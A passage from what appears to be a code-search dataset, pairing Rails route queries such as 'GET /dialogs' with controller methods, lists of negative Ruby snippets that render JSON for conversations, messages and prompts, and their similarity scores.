"0.66427135",
"0.66427135",
"0.66427135",
"0.66427135",
"0.66411906",
"0.6580389",
"0.6551367",
"0.6530355",
"0.653028",
"0.6529389",
"0.65098727",
"0.6490163",
"0.64615333",
"0.64260155",
"0.6422683",
"0.640563",
"0.63798684",
"0.637458",
"0.63664556",
"0.6348272",
"0.63457817",
"0.63425285",
"0.63425285",
"0.63425285",
"0.63425285",
"0.63425285",
"0.63425285",
"0.633111",
"0.6320017",
"0.6320017",
"0.6320017",
"0.6320017",
"0.6320017",
"0.63185406",
"0.62953126",
"0.6284014",
"0.6280549",
"0.6257699",
"0.6253128",
"0.6253128",
"0.6253128",
"0.6220299",
"0.6219789",
"0.6219789",
"0.62154657",
"0.62004334",
"0.61935455",
"0.619278",
"0.618325",
"0.618241",
"0.6177324",
"0.6170149",
"0.61560804",
"0.6151936",
"0.6151936",
"0.6149824",
"0.61428463",
"0.61121756",
"0.61068946",
"0.6104369",
"0.6067425",
"0.605166",
"0.6031627",
"0.60276574",
"0.60276574"
] |
0.0
|
-1
|
GET /dialogs GET /dialogs.json
|
def index
if params[:dialog].present?
@dialog = Dialog.find(params[:dialog])
@dialog.update_attributes(no_read: '0')
@area = Area.where(id: @dialog.url_start.split('/')[1]).first if @dialog.url_start.present?
@messages = @dialog.messages.desc(:created_at)
@geo = Geocoder.search @dialog.ip
end
@dialogs = Dialog.ne(done: true).desc(:last_message).page(params[:page]).per(15)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @dialogs = Dialog.all\n end",
"def index\n @dialogues = Dialogue.all\n end",
"def show\n render json: @conversation\n end",
"def show\n render json: @conversation, status: 200\n end",
"def show\n @dialog_turn = DialogTurn.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @dialog_turn }\n dialog_turn = sproutcore_json(@dialog_turn)\n format.json { render :json => { :content => dialog_turn } }\n end\n end",
"def index\n @conversations = Conversation.all\n\n render json: @conversations\n end",
"def show\n @conversation = current_user.conversations.find(params[:conversation_id])\n render json: @conversation.as_json()\n end",
"def create\n @dialog = Dialog.new(dialog_params)\n\n respond_to do |format|\n if @dialog.save\n format.html { redirect_to @dialog, notice: 'Dialog was successfully created.' }\n format.json { render action: 'show', status: :created, location: @dialog }\n else\n format.html { render action: 'new' }\n format.json { render json: @dialog.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @dialog = Dialog.new(dialog_params)\n\n respond_to do |format|\n if @dialog.save\n format.html { redirect_to @dialog, notice: 'Dialog was successfully created.' }\n format.json { render :show, status: :created, location: @dialog }\n else\n format.html { render :new }\n format.json { render json: @dialog.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @messages = @dialog.messages\n end",
"def show\n authorize! :read, Message\n @messages = Message.find_conversation(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def messages\n get_json('messages.json')\n end",
"def destroy\n @dialog.destroy\n respond_to do |format|\n format.html { redirect_to dialogs_url }\n format.json { head :no_content }\n end\n end",
"def show\n @conversation = Conversation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conversation }\n end\n end",
"def show\n @conversation = Conversation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conversation }\n end\n end",
"def new\n @activity = Activity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.dialog { render :new, layout: false }\n format.json { render json: @activity }\n end\n end",
"def show\n @bot = Bot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bot }\n end\n end",
"def destroy\n @dialog.destroy\n respond_to do |format|\n format.html { redirect_to dialogs_url, notice: 'Dialog was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def new\n @conversation = Conversation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @conversation }\n end\n end",
"def new\n @conversation = Conversation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @conversation }\n end\n end",
"def show\n\t\tconversation_id = conversation_params[:id]\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\trender json: Conversation.get_single_for_user(token, conversation_id)\t\n\t\tend\n\tend",
"def conversation\n current_user_id = current_user.id\n other_user_id = params[:id]\n @messages = Message.get_conversation(current_user_id, other_user_id)\n render json: @messages\n end",
"def show\n @prompt = Prompt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prompt }\n end\n end",
"def show\n @prompt = Prompt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prompt }\n end\n end",
"def show\n @conversation = current_user.conversations.find_by_id params.require(:id)\n @messages = @conversation.messages.order('created_at')\n\n uc = @conversation.user_conversations.find_by_user_id(current_user)\n uc.read = true\n uc.save\n\n friend = @conversation.users.collect { |u| u if u != current_user }.compact.first\n @message = Message.new user: friend\n @to = friend.number\n @name = friend.name\n\n respond_to do |format|\n format.html\n format.json { render :json => @messages.to_json(include: :user, :methods => [:file_url]) }\n end\n end",
"def show\n @compromise = Compromise.find(params[:id])\n\n render json: @compromise\n end",
"def update\n respond_to do |format|\n if @dialog.update(dialog_params)\n format.html { redirect_to @dialog, notice: 'Dialog was successfully updated.' }\n format.json { render :show, status: :ok, location: @dialog }\n else\n format.html { render :edit }\n format.json { render json: @dialog.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @presence = Presence.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @presence }\n end\n end",
"def new\n @conversation = Conversation.new\n logger.debug \"In new!\"\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @conversation }\n end\n end",
"def show\n @conversation = Conversation.includes(\n { agenda_items: [:owner, { deliverables: [:parent, :owner, :assignee] }] },\n { deliverables: [:owner, :assignee, :parent] },\n { organization: { organization_members: :member }},\n { conversation_members: :member }\n ).find(params[:id])\n authorize @conversation\n\n render json: @conversation, include: %w(agenda_items deliverables agenda_item_deliverables organization organization.organization_members.member conversation_members)\n end",
"def set_dialog\n @dialog = Dialog.find(params[:id])\n end",
"def set_dialog\n @dialog = Dialog.find(params[:id])\n end",
"def set_dialog\n @dialog = Dialog.find(params[:id])\n end",
"def set_dialog\n @dialog = Dialog.find(params[:id])\n end",
"def set_dialogue\n @dialogue = Dialogue.find(params[:id])\n end",
"def show\n @messagefact = Messagefact.find(params[:id])\n respond_to do |format|\n format.json {\n render :json => @messagefact, :layout => false\n }\n end\n end",
"def get_all_conversations\n response = RestClient::Request.execute method: :get,\n url: URL,\n user: USERNAME,\n password: PASSWORD,\n headers: {params: {pageSize: OBJECTS_PER_PAGE, page:ARGV[1]}},\n :content_type => :json,\n :accept => :json\n JSON(response)['conversations'][396..-1]\n end",
"def show\n render json: @chat\n end",
"def getConversations\n @conversations = Conversation.all.select(\"name\").map(&:name)\n\n respond_to do |format|\n format.json {render :json => {:conversations => @conversations}}\n end\n end",
"def new\n @dialog_turn = DialogTurn.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dialog_turn }\n end\n end",
"def show\n render json: @ticket.to_json(include: :conversations), status: 200\n end",
"def meals\n get(\"/user/#{@user_id}/meals.json\")\n end",
"def show\n @compromise = Compromise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @compromise }\n end\n end",
"def new\n @bot = Bot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bot }\n end\n end",
"def index\n @conversations = Conversation.by_tenant(current_agent.tenant).unresolved\n respond_with(@conversations, :methods => [:customer_display_name, :last_message_author_role,\n :last_message_author_display_name, :last_message_created_at,\n :last_message_text, :engaged_agent_name, :message_count])\n end",
"def update\n respond_to do |format|\n if @dialog.update(dialog_params)\n format.html { redirect_to @dialog, notice: 'Dialog was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @dialog.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n authorize parent, :show_including_archived?\n render json: parent.conversation_objects.page(page_number).per(page_size)\n end",
"def show\n render json: get_message()\n end",
"def get_messages\n \tuser = User.find(params[:user_id]);\n \tif user\n \t\tmessages = Message.where(message_type: user.user_type)\n \t\tconversation = Conversation.where(request_id: params[:request_id])\n texts = []\n conversation.each{ |msg| texts.push(Message.find_by(id: msg.message_id) ? Message.find(msg.message_id) : {})}\n \t\trender json: {messages: messages, conversation: conversation, texts: texts}\n \telse\n\t\trender json: {error: 'User not found.'}\n \tend\n end",
"def new\n @prompt = Prompt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prompt }\n end\n end",
"def new\n @prompt = Prompt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prompt }\n end\n end",
"def show\n @notice = @person.notices.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @notice }\n end\n end",
"def new\n @presence = Presence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @presence }\n end\n end",
"def emergencias_en_curso\n @emergencies = Emergency.where(:estado => 'f')\n render json: @emergencies\n end",
"def initialize_dialogues\n dialogues = Dialogues.new\n dialogues.resolve\n dialogues\n end",
"def show\n unless params[:conversation_id]\n render json: { success: 'no', msg: 'not enough info' }\n return\n end\n if !Direct.exists?(conversation_id: params[:conversation_id]) & !Group.exists?(conversation_id: params[:conversation_id])\n render json: { success: 'no', msg: 'convo does not exist' }\n return\n end\n unless Message.exists?(conversation_id: params[:conversation_id])\n render json: { success: 'no', msg: 'no messages' }\n return\n end\n\n allMsgs = Array.new\n Message.where(conversation_id: params[:conversation_id]).find_each do |message|\n senderNickname = UserProfile.find_by(user_id: message.sender_id).nick_name\n senderEmail = User.find_by(user_id: message.sender_id).email\n output = { :conversation_id => message.conversation_id, :sender_nickname => senderNickname , :sender_email => senderEmail, :message_body => message.message_body, :updated_at => message.updated_at }\n\n allMsgs.push(output)\n end\n\n render json: { success: 'ok', messageList: allMsgs }\n end",
"def conversation\n @messages = Message.get_conversation(current_user, params[:user_id])\n render json: @messages, each_serializer: MessageConversationSerializer\n end",
"def show\n p 'show?'\n @acceptances = []\n if(current_user)\n if(params[:id])\n @acceptance = Acceptance.find(params[:id])\n else\n @acceptances = Acceptance.where(\"user_id=? and (status=? or status = ?) and end_time> ?\", current_user.id, \"successfully paid\", \"payment pending\", Time.now())\n end\n end\n p \"acceptances are \"\n \n presenter = Api::V3::AcceptancesPresenter.new\n acceptances_json = @acceptances.map{|x| presenter.as_json(x)}\n p acceptances_json\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: acceptances_json }\n end\n end",
"def new\n @game = Game.new\n @participants = Participant.find_all_by_meeting_id(@meeting.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @game }\n end\n end",
"def index\n @prompts = Prompt.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @prompts }\n end\n end",
"def fetch\n messages = paginate ConversationMessage.where(conversation_id: params[:conversation_id])\n .order('created_at DESC')\n render json: messages.to_json(:include => :user)\n end",
"def index\n @games = Game.find_all_by_meeting_id(@meeting.id)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def new\n @compromise = Compromise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @compromise }\n end\n end",
"def index\n if params[:message_id]\n @messagefacts = Message.find(params[:message_id]).messagefacts\n else\n @messagefacts = Messagefact.all\n end\n respond_to do |format|\n format.json {\n render :json => @messagefacts, :layout => false\n }\n end\n end",
"def show\n @roombot = Roombot.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @roombot }\n end\n end",
"def dialog_params\n params.require(:dialog).permit(:patient_id, :user_message, :patient_reply)\n end",
"def show\n render json: @prompt.serialized_data\n end",
"def index\n messages = Message.all\n render json: messages\n end",
"def index\n raise ApiAccessEvanta::PermissionDenied unless AppSettings::Value.new(:messages, user: current_user).on?\n @messages = Message.get_message_list(current_user)\n render json: @messages\n end",
"def index\n @messages = Message.all\n\n render json: @messages\n end",
"def show\n @chat = Chat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chat }\n end\n end",
"def destroy\n @dialogue.destroy\n respond_to do |format|\n format.html { redirect_to dialogues_url, notice: 'Dialogue was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def index\n @messages = Message.all\n render json: @messages\n end",
"def index\n @messages = Message.all\n render json: @messages\n end",
"def get_conversation(id)\n get(\"conversations/#{id}\")\n end",
"def showadvisee\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @message = Message.find(params[:id])\n render json: @message\n\n end",
"def show\n render json: @message\n end",
"def show\n render json: @message\n end",
"def index\n @messies = Messy.all\n\n render json: @messies\n end",
"def init_dialogs\n @entity_dialog = EntityDialog.new self, true\n @entity_dialog.set_visible false\n\n @connection_dialog = ConnectionDialog.new self, true\n @connection_dialog.set_visible false\n end",
"def show\n render status: 200, json: Passage.find(params[:id])\n end",
"def show\n\n render json: @message\n\n end",
"def index\n render json: Message.all\n end",
"def show\n @notice = Notice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @notice }\n end\n end",
"def index\n @modalities = Modality.all\n json_response(@modalities)\n end",
"def dialog_params\n params.require(:dialog).permit(:message, :chat_id, :propose_id, :project_id, :profile_id, speeches_attributes:[:id, :profile_id, :propose_id, :project_id, :dialog_id, :message])\n end",
"def new\n @notice = @person.notices.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @notice }\n end\n end",
"def show\n\t\t@messages = Message.where(recipient: params[:id]).order('created_at DESC')\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render json: @messages }\n\t\tend\n\tend",
"def get_all\n if @messages = Message.all\n render json: @messages\n else\n render json: \"Error!\"\n end\n\n end",
"def received_invitations\n user = User.find(params[:user_id])\n @invitations = user.invitations\n\n render json: @invitations\n end",
"def show\n @topic = Topic.find(params[:id]) \n #@dialogs = @topic.dialogs.order(\"encounters.time_of ASC\") \n @dialogs = Dialog.joins(:topic, :encounter => [:contact]).\n where(:topic_id => @topic.id).order(\"encounters.time_of ASC\") \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @topic }\n format.js\n end\n end",
"def index_by_prompt\n # find the prompt by params\n prompt = Prompt.find_by(id: params[:prompt_id])\n # find all fills for this prompt\n @fills = Fill.where(prompt_id: prompt.id)\n render json: @fills, include: ['user', 'prompt', 'comments.user', 'comments.user.id', 'comments.user.username']\n end",
"def show\n @chatroom = Chatroom.find(params[:id])\n @messages = @chatroom.messages.order(\"created_at DESC\")\n @user = User.find(session[:user_id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chatroom }\n end\n end",
"def index\n @conversations = Conversation.participates(current_user).order(updated_at: \"DESC\")\n respond_to do |format|\n format.html\n format.js\n end\n end",
"def index\n @messages = message.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @messages }\n end\n end",
"def index\n @conversations = @pad.conversations\n @message = Message.new\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @conversations }\n end\n end",
"def show\n @chat = Chat.find(params[:id])\n @receiver = interlocutor(@chat)\n @messages = @chat.messages\n @message = Message.new\n render json: $message\n end",
"def show\n @pot = Pot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pot }\n end\n end",
"def get_conversations_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ConversationsApi.get_conversations ...\"\n end\n \n \n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/conversations\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'communicationType'] = opts[:'communication_type'] if opts[:'communication_type']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ConversationEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConversationsApi#get_conversations\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end"
] |
[
"0.67946345",
"0.62684995",
"0.60077953",
"0.5936814",
"0.59161526",
"0.5905902",
"0.58473885",
"0.5836628",
"0.5834727",
"0.582335",
"0.58112067",
"0.57890296",
"0.57714987",
"0.5725308",
"0.5725308",
"0.56915593",
"0.56791794",
"0.55985063",
"0.556427",
"0.556427",
"0.5542738",
"0.5515984",
"0.55101657",
"0.55101657",
"0.5498791",
"0.54983896",
"0.54386246",
"0.54284096",
"0.5417284",
"0.5403895",
"0.5392316",
"0.5392316",
"0.5392316",
"0.5392316",
"0.5388496",
"0.5385858",
"0.538192",
"0.53703624",
"0.5368619",
"0.536256",
"0.53507996",
"0.53458095",
"0.53408533",
"0.53360987",
"0.5333112",
"0.5328749",
"0.5324015",
"0.5319553",
"0.5306856",
"0.52833086",
"0.52833086",
"0.5277014",
"0.5269329",
"0.52330786",
"0.5226184",
"0.52253395",
"0.52223927",
"0.5221017",
"0.52207166",
"0.5216658",
"0.5213297",
"0.5205251",
"0.5204842",
"0.5190821",
"0.5189592",
"0.5175793",
"0.5164198",
"0.51595616",
"0.51587075",
"0.51528037",
"0.5137834",
"0.51368654",
"0.51363194",
"0.51363194",
"0.5133013",
"0.51231843",
"0.5123175",
"0.5109413",
"0.5109413",
"0.50969744",
"0.50921935",
"0.50914264",
"0.50896347",
"0.50894755",
"0.5081717",
"0.508062",
"0.50782794",
"0.5078183",
"0.5077331",
"0.5073073",
"0.50722873",
"0.5057592",
"0.50546473",
"0.50524056",
"0.5048067",
"0.5047456",
"0.5045865",
"0.5042097",
"0.504136",
"0.5039238"
] |
0.61835366
|
2
|
GET /dialogs/1 GET /dialogs/1.json
|
def show
@messages = @dialog.messages
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @dialogs = Dialog.all\n end",
"def show\n render json: @conversation\n end",
"def show\n render json: @conversation, status: 200\n end",
"def index\n @dialogues = Dialogue.all\n end",
"def show\n @dialog_turn = DialogTurn.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @dialog_turn }\n dialog_turn = sproutcore_json(@dialog_turn)\n format.json { render :json => { :content => dialog_turn } }\n end\n end",
"def show\n @bot = Bot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bot }\n end\n end",
"def index\n if params[:dialog].present?\n @dialog = Dialog.find(params[:dialog])\n @dialog.update_attributes(no_read: '0')\n @area = Area.where(id: @dialog.url_start.split('/')[1]).first if @dialog.url_start.present?\n @messages = @dialog.messages.desc(:created_at)\n @geo = Geocoder.search @dialog.ip\n end\n @dialogs = Dialog.ne(done: true).desc(:last_message).page(params[:page]).per(15)\n end",
"def show\n @conversation = Conversation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conversation }\n end\n end",
"def show\n @conversation = Conversation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conversation }\n end\n end",
"def show\n authorize! :read, Message\n @messages = Message.find_conversation(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @conversation = current_user.conversations.find(params[:conversation_id])\n render json: @conversation.as_json()\n end",
"def show\n @prompt = Prompt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prompt }\n end\n end",
"def show\n @prompt = Prompt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prompt }\n end\n end",
"def index\n @conversations = Conversation.all\n\n render json: @conversations\n end",
"def new\n @activity = Activity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.dialog { render :new, layout: false }\n format.json { render json: @activity }\n end\n end",
"def show\n @presence = Presence.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @presence }\n end\n end",
"def show\n\t\tconversation_id = conversation_params[:id]\n\t\tauthenticate_or_request_with_http_token do |token, options|\n\t\t\trender json: Conversation.get_single_for_user(token, conversation_id)\t\n\t\tend\n\tend",
"def new\n @conversation = Conversation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @conversation }\n end\n end",
"def new\n @conversation = Conversation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @conversation }\n end\n end",
"def show\n @v1_message = V1::Message.find(params[:id])\n\n render json: @v1_message\n end",
"def show\n @compromise = Compromise.find(params[:id])\n\n render json: @compromise\n end",
"def show\n @conversation = current_user.conversations.find_by_id params.require(:id)\n @messages = @conversation.messages.order('created_at')\n\n uc = @conversation.user_conversations.find_by_user_id(current_user)\n uc.read = true\n uc.save\n\n friend = @conversation.users.collect { |u| u if u != current_user }.compact.first\n @message = Message.new user: friend\n @to = friend.number\n @name = friend.name\n\n respond_to do |format|\n format.html\n format.json { render :json => @messages.to_json(include: :user, :methods => [:file_url]) }\n end\n end",
"def destroy\n @dialog.destroy\n respond_to do |format|\n format.html { redirect_to dialogs_url }\n format.json { head :no_content }\n end\n end",
"def create\n @dialog = Dialog.new(dialog_params)\n\n respond_to do |format|\n if @dialog.save\n format.html { redirect_to @dialog, notice: 'Dialog was successfully created.' }\n format.json { render action: 'show', status: :created, location: @dialog }\n else\n format.html { render action: 'new' }\n format.json { render json: @dialog.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @conversation = Conversation.where(id: params[:id])[0]\n end",
"def set_dialog\n @dialog = Dialog.find(params[:id])\n end",
"def set_dialog\n @dialog = Dialog.find(params[:id])\n end",
"def set_dialog\n @dialog = Dialog.find(params[:id])\n end",
"def set_dialog\n @dialog = Dialog.find(params[:id])\n end",
"def create\n @dialog = Dialog.new(dialog_params)\n\n respond_to do |format|\n if @dialog.save\n format.html { redirect_to @dialog, notice: 'Dialog was successfully created.' }\n format.json { render :show, status: :created, location: @dialog }\n else\n format.html { render :new }\n format.json { render json: @dialog.errors, status: :unprocessable_entity }\n end\n end\n end",
"def conversation\n current_user_id = current_user.id\n other_user_id = params[:id]\n @messages = Message.get_conversation(current_user_id, other_user_id)\n render json: @messages\n end",
"def new\n @conversation = Conversation.new\n logger.debug \"In new!\"\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @conversation }\n end\n end",
"def set_dialogue\n @dialogue = Dialogue.find(params[:id])\n end",
"def new\n @bot = Bot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bot }\n end\n end",
"def show\n @messagefact = Messagefact.find(params[:id])\n respond_to do |format|\n format.json {\n render :json => @messagefact, :layout => false\n }\n end\n end",
"def new\n @presence = Presence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @presence }\n end\n end",
"def show\n @compromise = Compromise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @compromise }\n end\n end",
"def get_conversation(id)\n get(\"conversations/#{id}\")\n end",
"def show\n @message = Message.find(params[:id])\n render json: @message\n\n end",
"def show\n render status: 200, json: Passage.find(params[:id])\n end",
"def new\n @prompt = Prompt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prompt }\n end\n end",
"def new\n @prompt = Prompt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prompt }\n end\n end",
"def show\n render json: @chat\n end",
"def show\n @roombot = Roombot.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @roombot }\n end\n end",
"def show\n @chat = Chat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chat }\n end\n end",
"def show\n @notice = @person.notices.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @notice }\n end\n end",
"def messages\n get_json('messages.json')\n end",
"def destroy\n @dialog.destroy\n respond_to do |format|\n format.html { redirect_to dialogs_url, notice: 'Dialog was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def update\n respond_to do |format|\n if @dialog.update(dialog_params)\n format.html { redirect_to @dialog, notice: 'Dialog was successfully updated.' }\n format.json { render :show, status: :ok, location: @dialog }\n else\n format.html { render :edit }\n format.json { render json: @dialog.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index_by_prompt\n # find the prompt by params\n prompt = Prompt.find_by(id: params[:prompt_id])\n # find all fills for this prompt\n @fills = Fill.where(prompt_id: prompt.id)\n render json: @fills, include: ['user', 'prompt', 'comments.user', 'comments.user.id', 'comments.user.username']\n end",
"def new\n @dialog_turn = DialogTurn.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dialog_turn }\n end\n end",
"def show\n @conversation = Conversation.find(params[:id])\n end",
"def get_all_conversations\n response = RestClient::Request.execute method: :get,\n url: URL,\n user: USERNAME,\n password: PASSWORD,\n headers: {params: {pageSize: OBJECTS_PER_PAGE, page:ARGV[1]}},\n :content_type => :json,\n :accept => :json\n JSON(response)['conversations'][396..-1]\n end",
"def showadvisee\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def update\n respond_to do |format|\n if @dialog.update(dialog_params)\n format.html { redirect_to @dialog, notice: 'Dialog was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @dialog.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n render json: get_message()\n end",
"def show\n\n # @conversation_partner = Message.find(params[:receiver])\n\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def new\n @compromise = Compromise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @compromise }\n end\n end",
"def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def show\n @mod_message = ModMessage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mod_message }\n end\n end",
"def show\n render json: @ticket.to_json(include: :conversations), status: 200\n end",
"def show\n @message = Message.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message }\n end\n end",
"def index\n @prompts = Prompt.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @prompts }\n end\n end",
"def show\n @pot = Pot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pot }\n end\n end",
